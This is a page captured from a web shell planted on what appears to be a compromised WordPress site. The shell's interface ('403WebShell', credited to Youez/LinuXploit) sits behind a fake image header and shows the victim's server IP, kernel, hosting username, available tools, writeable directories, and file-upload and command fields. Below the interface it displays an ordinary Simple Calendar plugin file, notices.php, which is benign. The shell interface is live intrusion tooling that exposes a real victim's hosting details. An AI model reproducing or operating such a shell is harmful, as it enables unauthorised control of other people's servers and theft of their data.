????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/google-calendar-events/includes/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/google-calendar-events/includes/admin/notices.php
<?php
/**
 * Admin notices
 *
 * @package SimpleCalendar/Admin
 */
namespace SimpleCalendar\Admin;

if (!defined('ABSPATH')) {
	exit();
}

/**
 * Admin notices class.
 *
 * Handles and displays notices in admin dashboard pages.
 *
 * @since 3.0.0
 */
class Notices
{
	/**
	 * Get notices.
	 *
	 * @since 3.0.0
	 */
	public function __construct()
	{
		add_action('admin_init', [$this, 'remove_notice'], 10);
		add_action('admin_init', [$this, 'process_notices'], 40);
	}

	/**
	 * Process notices.
	 *
	 * @since 3.0.0
	 */
	public function process_notices()
	{
		$notices = $this->get_notices();

		if (!empty($notices) && is_array($notices)) {
			foreach ($notices as $group) {
				foreach ($group as $notice) {
					if ($notice instanceof Notice) {
						if ($notice->visible === false) {
							continue;
						}

						if (!empty($notice->capability)) {
							if (!current_user_can($notice->capability)) {
								continue;
							}
						}

						if (!empty($notice->screen) && is_array($notice->screen) && function_exists('get_current_screen')) {
							$screen = get_current_screen();
							if (isset($screen->id)) {
								if (!in_array($screen->id, $notice->screen)) {
									continue;
								}
							}
						}

						if (!empty($notice->post) && is_array($notice->post)) {
							if (isset($_GET['post'])) {
								if (!in_array(intval($_GET['post']), $notice->post)) {
									continue;
								}
							} else {
								continue;
							}
						}

						$this->add_notice($notice);
					}
				}
			}
		}
	}

	/**
	 * Add notice.
	 *
	 * @TODO Improve notice dismissal with ajax.
	 *
	 * @since  3.0.0
	 *
	 * @param  Notice $notice
	 *
	 * @return void
	 */
	public function add_notice($notice)
	{
		if ($notice instanceof Notice) {
			add_action(
				'admin_notices',
				$print_notice = function () use ($notice) {
					$name = is_array($notice->id) ? key($notice->id) : $notice->id;
					$url = esc_url(add_query_arg(['dismiss_simcal_notice' => $name]));
					$dismiss_link =
						$notice->dismissible === true
							? sprintf('<a class="dashicons-before dashicons-dismiss simcal-dismiss-notice" href="%1$s"></a>', $url)
							: '';

					echo '<div class="' .
						$notice->type .
						' ' .
						$notice->class .
						' simcal-admin-notice" data-notice-id="' .
						$name .
						'">' .
						$dismiss_link .
						$notice->content .
						'</div>';
				}
			);
		}
	}

	/**
	 * Dismiss a notice.
	 *
	 * @TODO  Improve notice dismissal with ajax.
	 *
	 * @since  3.0.0
	 *
	 * @param  string $notice (optional) The notice id.
	 *
	 * @return void
	 */
	public function remove_notice($notice = '')
	{
		$notices = $this->get_notices();
		$update = false;

		if (!empty($notice)) {
			if (isset($notices[$notice])) {
				unset($notices[$notice]);
				$update = true;
			}
		}

		if (isset($_GET['dismiss_simcal_notice'])) {
			if (isset($notices[$_GET['dismiss_simcal_notice']])) {
				unset($notices[esc_attr($_GET['dismiss_simcal_notice'])]);
				$update = true;
			}
		}

		if ($update === true) {
			update_option('simple-calendar_admin_notices', $notices);
		}
	}

	/**
	 * Show a notice.
	 *
	 * @since 3.0.0
	 *
	 * @param  string $notice
	 *
	 * @return void
	 */
	public function show_notice($notice)
	{
		$notices = $this->get_notices();

		if (isset($notices[$notice]->visible)) {
			$notices[$notice]->visible = true;
			update_option('simple-calendar_admin_notices', $notices);
		}
	}

	/**
	 * Hide a notice.
	 *
	 * @since  3.0.0
	 *
	 * @param  string $notice
	 *
	 * @return void
	 */
	public function hide_notice($notice)
	{
		$notices = $this->get_notices();

		if (isset($notices[$notice]->visible)) {
			$notices[$notice]->visible = false;
			update_option('simple-calendar_admin_notices', $notices);
		}
	}

	/**
	 * Get current notices.
	 *
	 * @since  3.0.0
	 *
	 * @return array
	 */
	public function get_notices()
	{
		return apply_filters('simcal_admin_notices', get_option('simple-calendar_admin_notices', []));
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit